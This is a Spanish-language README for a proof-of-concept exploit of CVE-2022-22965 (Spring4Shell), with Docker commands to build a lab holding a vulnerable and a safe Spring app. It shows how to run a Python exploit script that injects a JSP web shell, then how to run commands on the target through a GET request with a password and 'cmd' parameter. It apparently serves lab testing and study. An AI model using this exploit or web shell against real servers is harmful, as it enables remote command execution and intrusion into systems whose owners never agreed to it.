
Exploit de prueba de concepto para CVE-2022-22965 (Spring4Shell) con una aplicación vulnerable Spring Boot, script de exploit en Python y entorno de laboratorio basado en Docker para pruebas.
Esta es una prueba de concepto de un exploit para la vulnerabilidad CVE-2022-22965 (spring4shell). Está compuesto por:
Dentro de la carpeta raíz del proyecto hay un Dockerfile que crea una imagen de tomcat y copia los archivos vulnerable_app/target/spring4shell.war y safe_app/target/safeapp.war dentro de la carpeta /usr/local/tomcat/webapps, por lo que solo tienes que construir la imagen e iniciar el contenedor.
docker build -t cve_2022_22965 .
docker run -p 8080:8080 -d --name springshell cve_2022_22965
curl --location --request POST http://localhost:8080/spring4shell/vulnerability/exploit?name=Elliot%20Alderson
Si ves esta respuesta
This is Elliot Alderson
Entonces la aplicación está en funcionamiento.
cd exploits
python spring4shell.py http://localhost:8080/spring4shell/vulnerability/exploit
Puedes especificar opcionalmente el nombre del archivo jsp inyectado, pero no es obligatorio. Ejemplo
cd exploits
python spring4shell.py http://localhost:8080/spring4shell/vulnerability/exploit -f exploit.jsp
Si no especificas un nombre, se generará uno aleatorio.
Verás lo siguiente en la shell de comandos

Después del exploit, también puedes enviar un comando a través de una solicitud HTTP GET
http://localhost:8080/exploit.jsp?pwd=pass&cmd=ls
¡Has abierto exitosamente una shell en la máquina víctima! ¡disfruta!